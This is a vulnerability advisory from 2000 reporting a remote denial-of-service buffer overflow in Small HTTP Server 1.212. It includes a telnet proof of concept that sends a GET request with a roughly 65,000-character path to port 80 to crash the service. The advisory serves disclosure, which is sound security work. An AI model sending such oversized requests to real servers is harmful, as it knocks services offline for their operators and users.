Remote DoS Attack in Small HTTP Server ver. 1.212 Vulnerability

   

 

Small HTTP

 


USSR Advisory Code:   USSR-2000047


Release Date:
June 16, 2000


Systems Affected:
Small HTTP Server ver. 1.212 (maybe others)


THE PROBLEM

The Ussr Labs team has recently discovered a buffer overflow memory problem in the Small HTTP Server.

What happens is by preforming an attack with a malformed url information to port 80 it will cause the 
proccess containg the services to stop responding.


SPECIAL NOTE: That we take no responsibility for this code it is for educational purposes only.


Example:
The http Server (Port 80) service has a overflow in the GET command

[hellme@die-communitech.net$ telnet example.com 80
Trying example.com...
Connected to example.com.
Escape character is '^]'.
GET /[buffer]

Where [buffer] is aprox. 65000 characters.

and the process containg the service crash


Vendor Status:  
Informed!

Vendor   Url: http://wwwwin.wplus.net/pp/mrdoors/srv/index.htm
Program  Url: http://wwwwin.wplus.net/pp/mrdoors/srv/sethttp.exe

Related Links:

Underground Security Systems Research
http://www.ussrback.com

Greetings:
Eeye, Attrition, w00w00, beavuh, Rhino9, SecurityFocus.com, ADM, HNN, Technotronic and Wiretrip.

Copyright (c) 1999-2000 Underground Security Systems Research.
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